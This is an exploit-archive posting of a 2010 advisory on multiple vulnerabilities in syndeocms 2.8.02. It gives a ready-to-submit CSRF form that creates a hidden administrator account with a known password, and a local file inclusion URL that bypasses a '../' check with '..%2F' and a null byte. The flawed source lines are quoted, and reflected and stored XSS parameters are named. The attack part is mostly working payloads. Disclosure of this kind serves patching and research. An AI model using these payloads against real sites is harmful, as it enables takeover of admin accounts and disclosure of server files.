Home / os / win7

syndeocms 2.8.02 Multiple Vulnerabilities

Posted on 04 September 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>syndeocms 2.8.02 Multiple Vulnerabilities</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=========================================
syndeocms 2.8.02 Multiple Vulnerabilities
=========================================

Title  : syndeocms 2.8.02 Multiple Vulnerabilities
Affected Version : syndeocms &lt;= 2.8.02
Vendor  Site   : http://www.syndeocms.org/
  
Discovery : abysssec.com
   
  
Description :
  
This CMS have many critical vulnerability that we refere to some of those here:
  
  
Vulnerabilites :
 
1. CSRF - Add Admin Account:
 
&lt;html&gt;
&lt;body&gt;
&lt;form onsubmit=&quot;return checkinput(this);&quot; action=&quot;index.php?option=configuration&amp;suboption=users&amp;modoption=save_user&amp;user_id=0&quot; name=&quot;form&quot; method=&quot;POST&quot;&gt;
&lt;input class=&quot;textfield&quot; type=&quot;hidden&quot;  name=&quot;fullname&quot; value=&quot;csrf&quot;/&gt;
&lt;input class=&quot;textfield&quot; type=&quot;hidden&quot;  name=&quot;username&quot; value=&quot;csrf_admin&quot;/&gt;
&lt;input class=&quot;textfield&quot; type=&quot;hidden&quot;  name=&quot;password&quot; value=&quot;admin123&quot;/&gt;
&lt;input class=&quot;textfield&quot; type=&quot;hidden&quot;  name=&quot;email&quot; value=&quot;csrf@admin.com&quot;/&gt;
&lt;select name=&quot;editor&quot;&gt;
&lt;option value=&quot;1&quot; selected=&quot;&quot;&gt;FCKEditor&lt;/option&gt;
&lt;option value=&quot;2&quot;&gt;Plain text Editor&lt;/option&gt;
&lt;/select&gt;
&lt;input type=&quot;checkbox&quot; checked=&quot;&quot; name=&quot;initial&quot; value=&quot;1&quot;/&gt;
&lt;input class=&quot;textfield&quot; type=&quot;hidden&quot; value=&quot;&quot;  name=&quot;sections&quot;/&gt;
&lt;input type=&quot;radio&quot; name=&quot;access_1&quot; value=&quot;1&quot;/&gt;
&lt;input type=&quot;radio&quot; name=&quot;access_2&quot; value=&quot;1&quot;/&gt;
.
.
.
&lt;input type=&quot;radio&quot; name=&quot;access_15&quot; value=&quot;1&quot;/&gt;
&lt;input type=&quot;radio&quot; name=&quot;m_access[0]&quot; value=&quot;1&quot;/&gt;
.
.
.
&lt;input type=&quot;radio&quot; name=&quot;m_access[21]&quot; value=&quot;1&quot;/&gt;
&lt;input class=&quot;savebutton&quot; type=&quot;submit&quot; name=&quot;savebutton&quot; value=&quot;   Save&quot;/&gt;
&lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;
-------------------------------------
2. LFI (Local File Inclusion):
 
http://localhost/starnet/index.php?option=configuration&amp;suboption=configuration&amp;modoption=edit_css&amp;theme=..%2Findex.php%00
 
in starnetcorecon_configuration.inc.php file, As you may noticed theme parameter is checked for &quot;../&quot; and could be bypass by with &quot;..%2F&quot;:
line 61-73:
switch ($modoption) // start of switch
{
    case save_css :
     
        if (IsSet ($_POST['content']))
        {
            $content = $_POST['content'];
        }
         
        if (strpos($theme, &quot;../&quot;) === FALSE) //check if someone is trying to fool us.
        {
            $filename = &quot;themes/$theme/style.css&quot;;
-------------------------------------
3. xss:
in starnetcorecon_alerts.inc.php file &quot;email&quot; parameter when &quot;modoption&quot; is &quot;save_alert&quot;:
http://localhost/starnet/index.php?option=configuration&amp;suboption=alerts&amp;modoption=edit_alert&amp;alert=2
 
4. stored xss:
in starnetcorecon_alerts.inc.php file &quot;name&quot; parameter when &quot;modoption&quot; is &quot;save_alert&quot;:
http://localhost/starnet/index.php?option=configuration&amp;suboption=alerts&amp;modoption=edit_alert
------------------------------


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-04]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :